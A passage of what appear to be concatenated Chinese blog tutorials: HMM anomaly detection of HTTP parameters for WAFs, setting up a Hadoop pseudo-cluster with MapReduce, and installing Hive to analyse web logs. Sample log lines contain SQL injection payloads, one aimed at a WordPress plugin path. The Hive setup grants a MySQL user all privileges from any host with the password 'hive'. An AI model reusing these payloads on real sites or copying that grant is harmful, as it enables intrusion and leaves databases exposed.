jahmm BaumWelch的观测状态序列必须超过1个,否则就会抛出Observation sequence too short异常

3. 实现 HTTP协议异常检测的关键部分
整个过程由三部分组成 
(1)日志解析
输入: 正常的访问日志(可以混有少量攻击日志)
可以按以下条件来去重筛选
响应码 2xx, 3xx
动态页面 
参数名符合规范: 字符,数字,数组,排除参数名注入
输出:参数名值对 (对url重写需要另行考虑)
(2)参数值泛化处理
输入:参数值
输出:观测序列
转换规则:
序列  符号 参数值类型
 0 U若字符串为URI格式,标记为U
 1 N若字符为非ASCII码,标记为N,字符包括\x00-\x07以外
 W若字符为word类型,标记为W,字符包括
数字\x30-\x39、字母\x41-\x5A \x61-\x7A、下划线\x5F  ,一共63个字符
 S若字符为空格类型,标记为S,字符包括\x00NUL \x09\t \x0A\n \x0B\v \x0C\f \x0D\r \x20space ,一共7个字符
 4 V 若字符为控制字符类型,标记为V,字符包括\x01-\x08、\x0E-\x1F、\x7F,一共27个字符
 5 保留字符 ! " # $ % & ' ( ) * + , - . / : ;< = > ? @ [ \ ] ^ ` { | } ~,一共31个字符
   
(3) 训练阶段
指定隐状态数hidden与观测状态数初始化一个HMM对象

Hmm<ObservationInteger> hmm = new Hmm<ObservationInteger>(hidden, new OpdfIntegerFactory (observed));

使用上一步生成的观测序列,调用BaumWelch算法进行学习,生成合适的HMM的对象

BaumWelchScaledLearner bw = new BaumWelchScaledLearner();
bw.setNbIterations(20000);
Hmm<ObservationInteger> learnedHmm_bw = bw.learn(originHmm, observSequence);

获得每个观测序列的概率,指定合法值的概率的范围或阈值

double seq_i_prob = learnedHmm_bw.probability(Sequence_i);

我们可以将训练结果以key:value对的方式存储在数据库中,例如redis。
key为 /path?paramName
value为 val对应的HMM训练对象learnedHmm_bw、观测状态序列、概率阈值的序列化值

(4)检测阶段
将待检测日志,通过上面介绍的日志解析与参数值泛化处理生成观测序列,然后计算出该观测序列在第二步学习的HMM对象中的概率值

double seq_to_prob = learnedHmm_bw.probability(Sequence_to);

判断概率是否在合法范围内

最简单的方法是将阈值设置为所有观测序列中的最小值,

我们还可以按概率的统计分布特征(中位数,算术平均,方差)来选取范围

当然这些都需要根据实际情况进行参数调优



好了,关键步骤讲完了。在实际应用中,特别是日志量过大的情况下,我们需要做很多异常和优化处理,例如

(1)异常处理

观测状态数不能超过36,否则抛出异常

学习时间花费不能超过XXX,否则抛出异常

(2)观测状态序列及序列集合的优化

训练阶段:观测序列数量过大的情况下,会影响训练时间与结果,所以需要做reduce处理,例如观测序列包含的字符相同,则忽略顺序认为是同一个序列

检测阶段:待检测观测序列的取样处理,例如相同观测状态的合并

(3)隐状态数的选择

最简单的是选取所有观测状态序列中去重后的观测状态数的平均值

4. 大数据处理

当日志量很大的情况下,我们需要引入数据的并行处理。于是hadoop上场了,我们将日志存储在HFDS里,采用Hadoop提供的MapReduce计算机制,来完成日志异常训练与检测,调用示例如下

hadoop jar HMM_Abnormal.jar HmmAbnormal.train /data/in/ /data/out/model/

hadoop jar HMM_Abnormal.jar HmmAbnormal.check /data/in/ /data/out/model/ /data/out/result/


5. 总结

HMM异常检测同朴素贝叶斯分类器也是白名单(异常)的思路,在第一学习阶段通过对正常的请求的学习,得出正常请求的模式,在第二检测阶段将不符合正常模式则判定为异常。

实时的HMM可以用于WAF或IPS系统实时检测,离线的HMM可以用于WAF或IPS误报漏报运维。

我们知道白名单(异常)最大的优点是弥补黑名单签名知识库更新滞后的漏报情况,但其在模型训练数据污染严重(攻击日志大量混入到学习日志中)、模型训练不充分模型训练不到(有些有漏洞的攻击请求不会出现在正常请求中)的情况下会丧失这一优点。因此需要其他模型来弥补缺陷,使用数据分析来解决问题,就是要多个模型(算法)综合使用,这是个有挑战的路线,与君共勉。


参考
http://www.52nlp.cn/hmm-learn-best-practices-one-introduction
HMM-Web: a framework for the detection off attacks against Web Application

大数据之hadoop伪集群搭建与MapReduce编程入门

$
0
0

一、理论知识预热
一句话介绍hadoop: Hadoop的核心由分布式文件系统HDFSMap/Reduce计算模型组成。

(1)HDFS分布式文件系统
HDFS由三个角色构成:
1)NameNode
2)DataNode:文件存储的基本单元,它将文件块block存储在本地文件系统中
3)Client:需要获取分布式文件系统文件的应用程序
文件写入:client向NameNode发起文件写入请求,NameNode分配合适的DataNode地址给Client,Client将文件划分为多个Block后,根据DataNode地址顺序写入数据
文件读取:client向NameNode发起文件读取请求,NameNode返回文件存储的DataNode信息,Client读取文件信息
一个Block会有三份备份,一份放在NameNode指定的DataNode上,一份放在与指定DataNode不在同一台机器的DataNode上,最后一份放在与指定DataNode同一Rack的DataNode上


(2)Map/Reduce计算模型
由一个单独运行在主节点的JobTracker和运行在每个集群从节点的TaskTracker共同构成。
一个Map/Reduce作业job通常会把输入的数据集切分为若干独立的数据块,由Map任务task以完全并行的方式处理它们。框架会先对Map的输出进行排序,然后把结果输入给Reduce任务。
mapper->partition->combine->reduce
在hadoop上运行的作业需要指明程序的输入/输出位置,并通过实现合适的接口或抽象类提供Map和Reduce函数。同时还需要指定作业的其他参数,构成作业配置Job Configuration。
在Hadoop的JobClient提交作业(JAR包/可执行程序等)和配置信息给JobTracker之后,JobTracker会负责分发这些软件和配置信息给slave及调度任务,并监控它们的执行,同时提供状态和诊断信息给JobClient

关键术语:
NameNode\DataNode:
JobTracker\TaskTracker
mapper->partition->combine->reduce

二、开发环境搭建
ubuntu 64位为例
第一步:安装java
第二步:安装ssh,rsync

apt-get install ssh rsync

第三步:下载hadoop稳定版本,解压缩

惯例,了解关键文件

bin/   hadoop, hdfs, mapred,yarn等可执行文件
sbin/   start-dfs.sh start-yarn.sh stop-dfs.sh stop-yarn.sh等可执行文件
etc/hadoop env和site等配置文件
libexec/ hadoop-config.sh hdfs-config.sh mapred-confg.sh yarn-config.sh等用于配置的可执行文件
logs/ 日志文件
share 文档与jar包,可以认真浏览一下这些jar包,Map-Reduce编程接口就靠它
include/ 头文件 
lib/ 动态链接库



第四步:hadoop配置

cd hadoop-2.6.0/

(1)修改脚本要用的环境变量,以运行hadoop

vim etc/hadoop/hadoop-env.sh 

编辑

export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-amd64 [替换JDK所在目录]


(2)配置HDFS和MapReduce常用的I/O设置

vim etc/hadoop/core-site.xml 

编辑

<configuration>
    <property>
        <name>fs.defaultFS</name>
        <value>hdfs://localhost:9000</value> #配置HDFS的地址及端口号
    </property>
</configuration>             

 
(3)Hadoop守护进程的配置项,包括namenode,辅助namenode和datanode

vim etc/hadoop/hdfs-site.xml 


编辑

<configuration>
    <property>
        <name>dfs.replication</name> #配置备份方式,默认为3.在单机版里需要改为1
        <value>1</value>
    </property>
</configuration>



(4)    MapReduce守护进程的配置项,包括jobtracker和tasktracker         

cp etc/hadoop/mapred-site.xml.template etc/hadoop/mapred-site.xml
vim etc/hadoop/mapred-site.xml       

         
 编辑

<configuration>
    <property>
        <name>mapreduce.framework.name</name>
        <value>yarn</value>
    </property>
</configuration>

              

vim etc/hadoop/yarn-site.xml

编辑

<configuration>
    <property>
        <name>yarn.nodemanager.aux-services</name>
        <value>mapreduce_shuffle</value>
    </property>
</configuration>



第五步:配置SSH服务免密码登陆

ssh-keygen -t dsa -P '' -f ~/.ssh/id_dsa
cat ~/.ssh/id_dsa.pub >>~/.ssh/authorized_keys

检查是否配置成功

ssh localhost


第六步:启动hadoop
1. 格式化HDFS

 bin/hdfs namenode -format

2. 启动进程
启动NameNode与DataNode守护进程

sbin/start-dfs.sh  


启动ResourceManager 和NodeManager守护进程

sbin/start-yarn.sh 


NameNode的web接口 http://localhost:50070/
Resourcemanager的web接口 http://localhost:8088/


第七步: 体验执行MapReduce job, 对文件内容进行字符匹配
第1)步:创建MapReduce job执行目录

bin/hdfs dfs -mkdir /user
bin/hdfs dfs -mkdir /user/root


第2)步:拷贝hadoop配置文件到hadoop input目录下

bin/hdfs dfs -put etc/hadoop input


很不幸,报错了
15/05/08 13:54:30 WARN hdfs.DFSClient: DataStreamer Exception
org.apache.hadoop.ipc.RemoteException(java.io.IOException): File /user/xxxxx._COPYING_ could only be replicated to 0 nodes instead of minReplication (=1).  There are 0 datanode(s) running and no node(s) are excluded in this operation.

定位原因:查看logs目录下datanode日志【在google之前先看日志,是非常良好的习惯】
发现以下提示
 Lock on /tmp/hadoop-root/dfs/data/in_use.lock acquired by

关闭hdfs后手动删除该目录

sbin/stop-dfs.sh
rm -rf /tmp/hadoop-root/dfs/data/*

重新启动

sbin/start-dfs.sh


查看DataNode是否启动

jps

输出如下
22848 Jps
20870 DataNode
20478 NameNode
31294 FsShell
19474 Elasticsearch
21294 SecondaryNameNode

确认ok了,重新copy文件

bin/hdfs dfs -put etc/hadoop input


出错原因:反复执行了 bin/hdfs namenode -format ,但没有手动清除文件锁定


第3)步:运行mapreduce示例

bin/hadoop jar share/hadoop/mapreduce/hadoop-mapreduce-examples-2.6.0.jar grep input output 'dfs[a-z.]+'        

  
我们可以在Resourcemanager的web接口 http://localhost:8088/ 看到任务运行情况
hadoop伪集群搭建与MapReduce编程入门(待续) - 碳基体 - 碳基体
 

第4)步:查看结果

bin/hdfs dfs -cat output/*

6       dfs.audit.logger
4 dfs.class
3 dfs.server.namenode.
2 dfs.period
2 dfs.audit.log.maxfilesize
2 dfs.audit.log.maxbackupindex
1 dfsmetrics.log
1 dfsadmin
1 dfs.servers
1 dfs.replication
1 dfs.file
我们也可以把结果merge到单个文件中来看

bin/hdfs dfs -getmerge output/ output


三、MapReduce编程入门
环境IDE:eclipse
导入hadoop核心包 hadoop-core-1.2.1.jar
导出:我们自己的fat jar包

示例代码放在我的git上 https://github.com/tanjiti/mapreduceExample
HelloWorld版本的MapReduce
仍然用单词切割的例子,单词切割就是HelloWorld版本的MapReduce
文件结构如下
├── bin 存放编译后的字节文件
├── lib 存放依赖jar包,来自hadoop安装文件share/hadoop/
│?? ├── commons-cli-1.2.jar
│?? ├── hadoop-common-2.6.0.jar
│?? └── hadoop-mapreduce-client-core-2.6.0.jar
├── mymainfest 配置文件,指定classpath
└── src  源文件
    └── mapreduceExample
        └── WordCount.java
我一般在eclipse里编码(可视化便利性),然后采用命令行编译打包(命令行高效性)

第一步:源码编辑

vim src/mapreduceExample/WordCount.java

编辑

package mapreduceExample;

import java.io.IOException;
import java.util.StringTokenizer;

import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.io.IntWritable;
import org.apache.hadoop.io.Text;
import org.apache.hadoop.mapreduce.Job;
import org.apache.hadoop.mapreduce.Mapper;
import org.apache.hadoop.mapreduce.Reducer;
import org.apache.hadoop.mapreduce.lib.input.FileInputFormat;
import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat;
import org.apache.hadoop.util.GenericOptionsParser;

public class WordCount {

public static class TokenizerMapper
extends Mapper<Object, Text, Text, IntWritable>{

private final static IntWritable one = new IntWritable(1);
private Text word = new Text();

@Override
public void map(Object key, Text value, Context context
) throws IOException, InterruptedException {
StringTokenizer itr = new StringTokenizer(value.toString());
while (itr.hasMoreTokens()) {
word.set(itr.nextToken());
context.write(word, one);
}
}
}

public static class IntSumReducer
extends Reducer<Text,IntWritable,Text,IntWritable> {
private IntWritable result = new IntWritable();

@Override
public void reduce(Text key, Iterable<IntWritable> values,
Context context
) throws IOException, InterruptedException {
int sum = 0;
for (IntWritable val : values) {
sum += val.get();
}
result.set(sum);
context.write(key, result);
}
}

public static void main(String[] args) throws Exception {


Configuration conf = new Configuration();
String[] otherArgs = new GenericOptionsParser(conf, args).getRemainingArgs();

if (otherArgs.length != 2) {
System.err.println("Usage: mapreduceExample.WordCount <in> <out>");
System.exit(2);
}
Job job = Job.getInstance(conf, "word count");
job.setJarByClass(WordCount.class);
job.setMapperClass(TokenizerMapper.class); //设置mapper类
job.setCombinerClass(IntSumReducer.class); //设置combiner类,该类的作用是合并map结果,减少网络I/O
job.setReducerClass(IntSumReducer.class);//设置reducer类
job.setOutputKeyClass(Text.class);//设置reduce结果输出 key的类型
job.setOutputValueClass(IntWritable.class); //设置reduce结果输出 value的类型
FileInputFormat.addInputPath(job, new Path(otherArgs[0]));//设置输入数据文件路径
FileOutputFormat.setOutputPath(job, new Path(otherArgs[1]));//设置输出数据文件路径
System.exit(job.waitForCompletion(true) ? 0 : 1);
}
}


第二步:编译打包
编译

 javac -d bin/ -sourcepath src/ -cp lib/hadoop-common-2.6.0.jar:lib/hadoop-mapreduce-client-core-2.6.0.jar:lib/commons-cli-1.2.jar src/mapreduceExample/WordCount.java


编写配置文件

vim mymainfest 

编辑
Class-Path: lib/hadoop-common-2.7.0.jar lib/hadoop-mapreduce-client-common-2.7.0.jar lib/commons-cli-1.2.jar

注:
mainfest 配置详见  https://docs.oracle.com/javase/tutorial/deployment/jar/manifestindex.html
其他重要配置项
Main-Class: 指定入口class,因为一个mapreduce项目,往往会有多种入口,因此不配置该项

打包

jar cvfm mapreduceExample.jar mymainfest lib/* src/* -C bin .


查看jar包内容

jar tf mapreduceExample.jar 

META-INF/
META-INF/MANIFEST.MF
lib/commons-cli-1.2.jar
lib/hadoop-common-2.6.0.jar
lib/hadoop-mapreduce-client-core-2.6.0.jar
src/mapreduceExample/
src/mapreduceExample/WordCount.java
mapreduceExample/
mapreduceExample/WordCount.class
mapreduceExample/WordCount$TokenizerMapper.class
mapreduceExample/WordCount$IntSumReducer.class

第三步: 运行
查看Usage

bin/hadoop jar /home/tanjiti/mapreduceExample/mapreduceExample.jar mapreduceExample.WordCount

显示

Usage: just4test.WordCount <in> <out>


当然,这是个很简陋的使用说明,但起码知道了参数是哪些,好了,正式运行

bin/hadoop jar 

/home/tanjiti/mapreduceExample/mapreduceExample.jar[jar所在路径] 

mapreduceExample.WordCount[main Class,如果打包jar包时在manifest文件中指定了就不需要指定该参数] 

/in[输入文件路径,在执行任务前必须存在] 

/out[结果输出路径,在执行任务前不应该存在该路径]

先合并结果再查看

bin/hdfs dfs -getmerge /out wordcount_result

tail wordcount_result

部分结果如下

"/?app=vote&controller=vote&action=total&contentid=7%20and%201=2%20union%20select%20group_concat(md5(7));%23" 1


MapReduce的思想其实非常简单
大数据之hadoop伪集群搭建与MapReduce编程入门 - 碳基体 - 碳基体
 
 
一句话来描述这个过程,就是开启一个MapReducer Job,设置好相应的Configuration,指定输入输出数据源的路径与格式,指定数据流K,V的格式(很多时候需要自定义格式,继承Writable),指定处理过程(map,combine,partition,sort,reduce)。

四、更多
再实现这些基本功能后,我们下一步会考虑如何共享数据,是读写HDFS文件,还是采用Configuration配置,还是使用DistributedCache;如何何处理多个mapreducejob,是线性的方式,还是ControlledJob,还是ChainMapper、ChainReducer。

等功能都搞定了,我们再考虑性能优化的问题,例如数据预处理(合并小文件,过滤杂音、设置InputSplit的大小),是否启用压缩方式,设置Map和Reduce任务的数量等job属性,全靠实战来填坑。


参考
http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SingleCluster.html
《Hadoop实战》 很好的入门书,入门了再看那个hadoop权威吧


大数据之hive安装及分析web日志实例

$
0
0
数据搜索与分析是运维狗必备技能

"In reality, 90+% of MR jobs are generated by Hive SQL


一、理论知识预热
一句话介绍基于Hadoop文件系统之上的分布式,按存储的数据仓库架构,提供数据ETL(抽取、转换和加载)工具、数据存储管理和大型数据集的查询和分析能力。
通俗理解:Hive管理HDFS中存储的数据,并提供基于SQL的查询语言
开发本质:Hive被设计为用MapReduce操作HDFS数据.
大数据之hive安装及常用HiveQL(待续) - 碳基体 - 碳基体
 
Hive核心:Hive数据管理包括:
(1)元数据存储:Hive将元数据存储在RDBMS中,如Derby,MySQL
客户端利用Thrift协议通过MetaStoreServer来访问元数据库
(2)数据存储:hive中所有的数据都存储在HDFS中,大部分的查询由MapReduce完成。用户可以非常自由地组织Hive中的表,只需要在创建表的时候告诉Hive数据中的列分割符和行分隔符就能解析数据。

Hive包含4种数据模型:
例如有一张表叫accesslog,按event_day进行分区,hive的在HDFS上的数据存储地址为/user/hive/warehouse
 类型 说明
 Table 表;表创建的操作包括两个步骤:
(1)表创建过程
(2)数据加载过程:实际数据会移动到数据仓库目录中,之后的数据访问将会直接在数据仓库目录中完成。在删除表时,表中的数据和元数据将会被同时删除

在HDFS上的存储路径为
/user/hive/warehouse/accesslog
 External Table 外部表;表创建的操作只有一个步骤:
加载数据和创建表同时完成,实际数据存储在创建语句LOCATION指定的HDFS路径中,并不会移动到数据仓库目录中。如果删除一个外部表,仅删除元数据,表中的数据不会被删除
 Partition 分区;类型索引
在HDFS上的存储路径为
/user/hive/warehouse/accesslog/event_day=20150512/
 Bucket 桶;对指定进行hash计算时,会根据hash值切分数据,使每个桶对应一个文件
在HDFS上的存储路径为
/user/hive/warehouse/accesslog/event_day=20150512/part-00010
   
(3)数据交换:有三种接口:客户端、数据库接口和web界面
 
二、安装
第一步:安装hadoop
第二步:安装hive 

wget http://mirror.bit.edu.cn/apache/hive/stable/apache-hive-1.1.0-bin.tar.gz

tar zxvf apache-hive-1.1.0-bin.tar.gz
重要目录结构如下:
bin 可执行文件: hive命令行接口; HiveServer2; beeline命令行接口
conf 配置文件:hive-site.xml
lib jar包
hcatalog: HCatalog server服务
/tmp/roo用户名t/hive.log 日志
第三步: hive配置-设置hive环境变量

cp conf/hive-env.sh.template conf/hive-env.sh

vim conf/hive-env.sh

编辑

HADOOP_HOME=/home/tanjiti/hadoop-2.6.0[替换成hadoop所在目录]

第四步:hive配置-设置hive数据在hadoop HDFS中的存储地址

cp conf/hive-default.xml.template conf/hive-site.xml

vim conf/hive-site.xml 
编辑

<property>

    <name>hive.metastore.warehouse.dir</name> #hive数据存储目录,指定的是HDFS上的位置
    <value>/user/hive/warehouse</value>
    <description>location of default database for the warehouse</description>
  </property>

  <property>
    <name>hive.exec.scratchdir</name>
    <value>/tmp/hive</value> #hive的数据临时文件目录
    <description>HDFS root scratch dir for Hive jobs which gets created with write all (733) permission. For each connecting user, a
n HDFS scratch dir: ${hive.exec.scratchdir}/&lt;username&gt; is created, with ${hive.scratch.dir.permission}.</description>
  </property>
在hadoop HDFS中创建相应的目录

bin/hdfs dfs -mkdir /user/hive/

bin/hdfs dfs -mkdir /user/hive/warehouse
bin/hdfs dfs -chmod g+w /user/hive/warehouse
bin/hdfs dfs -chmod g+w /tmp

第五步:hive配置-设置hive数据将元数据存储在MySQL中hive需要将元数据存储在RDBMS中,默认情况下,配置为Derby数据库

vim conf/hive-site.xml

默认设置

<property>

    <name>javax.jdo.option.ConnectionURL</name>
    <value>jdbc:derby:;databaseName=metastore_db;create=true</value> #Hive连接数据库的连接字符串
    <description>JDBC connect string for a JDBC metastore</description>
  </property>

 <property>
    <name>javax.jdo.option.ConnectionDriverName</name>
    <value>org.apache.derby.jdbc.EmbeddedDriver</value> #jdbc驱动的类入口名称
    <description>Driver class name for a JDBC metastore</description>
  </property>

  <property>
    <name>javax.jdo.option.ConnectionUserName</name> #数据库的用户名
    <value>APP</value>
    <description>Username to use against metastore database</description> #
  </property>

  <property>
    <name>javax.jdo.option.ConnectionPassword</name> #数据库的密码
    <value>mine</value>
    <description>password to use against metastore database</description>
  </property>
Derby JDBC驱动包在lib/derby-10.11.1.1.jar 

接下来我们配置使用MySQL来存储元数据库metastore
1安装MySQL

apt-get install mysql-server

2. 创建账户,设置用户名与密码

create user 'hive'@'%' identified by 'hive';

3. 赋予权限

grant all privileges on *.* to 'hive'@'%' with grant option;

4. 强制生效

flush privileges;

5. 创建数据库

create database hive; 

血的教训,血的教训,血的教训(2015年7月9日补充)
这里一定要把hive数据库的字符集修改为latin1,而且一定要在hive初次启动的时候就修改字符集 (否则就等着删除操作的时候死掉吧)

alter database hive character set latin1;



6. 配置Hive

vim conf/hive-site.xml

编辑

<property>
    <name>hive.metastore.local</name>
    <value>true</value>
  </property>
  <property>
    <name>javax.jdo.option.ConnectionURL</name>
    <value>jdbc:mysql://localhost:3306/hive?createDatabaseIfNotExist=true</value>
    <description>JDBC connect string for a JDBC metastore</description>
  </property>
  <property>
    <name>javax.jdo.option.ConnectionDriverName</name>
    <value>com.mysql.jdbc.Driver</value>
    <description>Driver class name for a JDBC metastore</description>
  </property>
  <property>
    <name>javax.jdo.option.ConnectionUserName</name>
    <value>hive</value>
    <description>Username to use against metastore database</description>
  </property>
  <property>
    <name>javax.jdo.option.ConnectionPassword</name>
    <value>hive</value>
    <description>password to use against metastore database</description>
  </property>

7. 下载MySQL JDBC 驱动包,放置在lib目录下

lib/mysql-connector-java-5.1.7-bin.jar


第六步:运行hive命令行接口

bin/hive



第七步: hive QL初体验

hive> create table test(id int, name string) row format delimited FIELDS TERMINATED BY ',';

OK
Time taken: 0.201 seconds
hive> load data local inpath '/home/tanjiti/apache-hive-1.1.0-bin/test.data' overwrite into table test;
Loading data to table default.test
Table default.test stats: [numFiles=1, numRows=0, totalSize=25, rawDataSize=0]
OK
Time taken: 0.463 seconds
hive> select * from test;
OK
1    tanjiti
2    kokcc
3    dani
Time taken: 0.218 seconds, Fetched: 3 row(s)
我们在hadoop HFS中也能看到该数据文件,可以看出来hive中的每张表都对应hadoop的一个存储目录
/hadoop-2.6.0/bin/hdfs dfs -cat /user/hive/warehouse/test/test.data
1,tanjiti
2,kokcc
3,dani

我真是bug体质,遇到一堆错误
错误1:

[ERROR] Terminal initialization failed; falling back to unsupported
java.lang.IncompatibleClassChangeError: Found class jline.Terminal, but interface was expected
        at jline.TerminalFactory.create(TerminalFactory.java:101)
        at jline.TerminalFactory.get(TerminalFactory.java:158)
        at jline.console.ConsoleReader.<init>(ConsoleReader.java:229)
        at jline.console.ConsoleReader.<init>(ConsoleReader.java:221)
        at jline.console.ConsoleReader.<init>(ConsoleReader.java:209)
        at org.apache.hadoop.hive.cli.CliDriver.getConsoleReader(CliDriver.java:773)
        at org.apache.hadoop.hive.cli.CliDriver.executeDriver(CliDriver.java:715)
        at org.apache.hadoop.hive.cli.CliDriver.run(CliDriver.java:675)
        at org.apache.hadoop.hive.cli.CliDriver.main(CliDriver.java:615)
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:606)
        at org.apache.hadoop.util.RunJar.run(RunJar.java:221)
        at org.apache.hadoop.util.RunJar.main(RunJar.java:136)

Exception in thread "main" java.lang.IncompatibleClassChangeError: Found class jline.Terminal, but interface was expected
        at jline.console.ConsoleReader.<init>(ConsoleReader.java:230)
        at jline.console.ConsoleReader.<init>(ConsoleReader.java:221)
        at jline.console.ConsoleReader.<init>(ConsoleReader.java:209)
        at org.apache.hadoop.hive.cli.CliDriver.getConsoleReader(CliDriver.java:773)
        at org.apache.hadoop.hive.cli.CliDriver.executeDriver(CliDriver.java:715)
        at org.apache.hadoop.hive.cli.CliDriver.run(CliDriver.java:675)
        at org.apache.hadoop.hive.cli.CliDriver.main(CliDriver.java:615)
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:606)
        at org.apache.hadoop.util.RunJar.run(RunJar.java:221)
        at org.apache.hadoop.util.RunJar.main(RunJar.java:136)

原因:jline版本冲突
 find ../ -name  jline*                            

../hadoop-2.6.0/share/hadoop/httpfs/tomcat/webapps/webhdfs/WEB-INF/lib/jline-0.9.94.jar
../hadoop-2.6.0/share/hadoop/yarn/lib/jline-0.9.94.jar
../hadoop-2.6.0/share/hadoop/kms/tomcat/webapps/kms/WEB-INF/lib/jline-0.9.94.jar
../apache-hive-1.1.0-bin/lib/jline-2.12.jar


export HADOOP_USER_CLASSPATH_FIRST=true 


错误2:

Exception in thread "main" java.lang.RuntimeException: java.lang.IllegalArgumentException: java.net.URISyntaxException: Relative path in absolute URI: ${system:java.io.tmpdir%7D/$%7Bsystem:user.name%7D
        at org.apache.hadoop.hive.ql.session.SessionState.start(SessionState.java:472)
        at org.apache.hadoop.hive.cli.CliDriver.run(CliDriver.java:671)
        at org.apache.hadoop.hive.cli.CliDriver.main(CliDriver.java:615)
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:606)
        at org.apache.hadoop.util.RunJar.run(RunJar.java:221)
        at org.apache.hadoop.util.RunJar.main(RunJar.java:136)
Caused by: java.lang.IllegalArgumentException: java.net.URISyntaxException: Relative path in absolute URI: ${system:java.io.tmpdir%7D/$%7Bsystem:user.name%7D
        at org.apache.hadoop.fs.Path.initialize(Path.java:206)
        at org.apache.hadoop.fs.Path.<init>(Path.java:172)
        at org.apache.hadoop.hive.ql.session.SessionState.createSessionDirs(SessionState.java:515)
        at org.apache.hadoop.hive.ql.session.SessionState.start(SessionState.java:458)
        ... 8 more
Caused by: java.net.URISyntaxException: Relative path in absolute URI: ${system:java.io.tmpdir%7D/$%7Bsystem:user.name%7D
        at java.net.URI.checkPath(URI.java:1804)
        at java.net.URI.<init>(URI.java:752)
        at org.apache.hadoop.fs.Path.initialize(Path.java:203)
        ... 11 more

解决方案:替换${system:java.io.tmpdir%7D/$%7Bsystem:user.name%7D为绝对路径

vim conf/hive-site.xml

编辑



  <property>
    <name>hive.exec.local.scratchdir</name>
    <value>/tmp/hive</value>
    <description>Local scratch space for Hive jobs</description>
  </property>
  <property>
    <name>hive.downloaded.resources.dir</name>
    <value>/tmp/${hive.session.id}_resources</value>
    <description>Temporary local directory for added resources in the remote file system.</description>
  </property>
  <property>
    <name>hive.querylog.location</name>
    <value>/tmp/hive</value>
    <description>Location of Hive run time structured log file</description>
  </property>
<property>
    <name>hive.server2.logging.operation.log.location</name>
    <value>/tmp/hive/operation_logs</value>
    <description>Top level directory where operation logs are stored if logging functionality is enabled</description>
  </property>

错误3:

FAILED: Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.DDLTask. MetaException(message:javax.jdo.JDODataStoreException: An exception was thrown while adding/validating class(es) : Specified key was too long; max key length is 767 bytes
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Specified key was too long; max key length is 767 bytes

解决方案:

alter database hive character set latin1; 


错误4:

java版本过低导致的错误,最好使用java 7及以上版本(java6的定位估计是浏览器中的IE6)

Exception in thread "main" java.lang.UnsupportedClassVersionError: org/apache/hadoop/hdfs/server/namenode/NameNode : Unsupported major.minor version 51.0


三、 常用HiveQL及UDF编写

一句话:和mysql非常非常像,学起来完全没有压力

1. hive客户端常用命令

hive -e "SQL语句";

hive -f  test.hql 从文件执行hive查询

hive> ! pwd;  执行简单的shell命令

hive> dfs -ls /user/hive/warehouse; 执行Hadoop的dfs命令

2. hive支持的数据类型

包括基本类型与集合类型,对日志分析,一般string,bigint,double,map就够用了

3. hive默认的切割文本文件的分隔符

\n 分割行;ctrl+A 分割字段(列),最后自己来指定分割符

4. hive的环境设置

set hive.cli.print.current.db=true; 设置显示当前DB

set hive.cli.print.header=true; 设置显示表头
set hive.exec.mode.local.auto=ture;设置本地模式,避免进行mapreduce,数据量小的时候适用
set hive.mapred.mode=strict;设置严格模式,当开启非本地模式,采用严格的查询语句优化查询性能,例如where需指定分区;order by要和limit一起

5. HiveQL:我们通过分析web日志来熟悉HiveQL

日志样例

127.0.0.1 [12/May/2015:15:16:30 +0800] sqli(194) BAN(226) 403  174 POST "/wp-content/plugins/store-locator-le/downloadcsv.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0" "-" "-" "-" "query=addr,,1%26%2339;union(select*from((select%20md5(3.1415))a1%20join(select%202)a2))#" "application/x-www-form-urlencoded"


remote_addr string 访问者ip
time_local 时间
attack_type 攻击类型(类型ID)
ban_type 事件处理类型(事件响应时间)
status HTTP响应码
body_bytes_sent body字节数
request_method HTTP请求方法
request_uri HTTP请求URI
http_user_agent  User_Agent请求头
http_x_forwarded_for  X_Forwarded_For请求头
http_referer Referer请求头
http_cookie Cookie请求头
request_body 请求头
http_content_type Content_Type请求头

第一步:创建数据库weblog

hive> create database if not exists weblog comment 'holds all web logs' ;

数据库存储在

hive> dfs -ls /user/hive/warehouse/;

drwxrwxr-x - root supergroup 0 2015-05-12 15:01 /user/hive/warehouse/weblog.db


第二步:创建表nginxlog,用来存储原始日志

hive> use default;

hive> create table nginxlog(remote_addr string,time_local string, attack_type string,ban_type string,status string,body_bytes_sent string,request_method string,request_uri string,http_user_agent string,http_x_forwarded_for string,http_referer string,http_cookie string,request_body string,http_content_type string) row format serde 'org.apache.hadoop.hive.serde2.RegexSerDe' with serdeproperties("input.regex" = "(\\d+\\.\\d+\\.\\d+\\.\\d+)\\s+(\\[[^\\]]+\\])\\s+(\\w+\\(\\d*\\))\\s+(\\w+\\(\\d*\\))\\s+(\\d{3})\\s+(\\d+)\\s+([A-Z]+)\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"")  stored as textfile;

这个input regex让我血槽速减 99%

教训:双倍转义,双倍转义;双倍转义 重要的事情说三遍

也让我学会了如何修改table的SerDe属性

补充知识:hive使用一个inputformat对象将输入流分割成记录,然后使用一个outoutformat对象来记录格式化为输出流,再使用

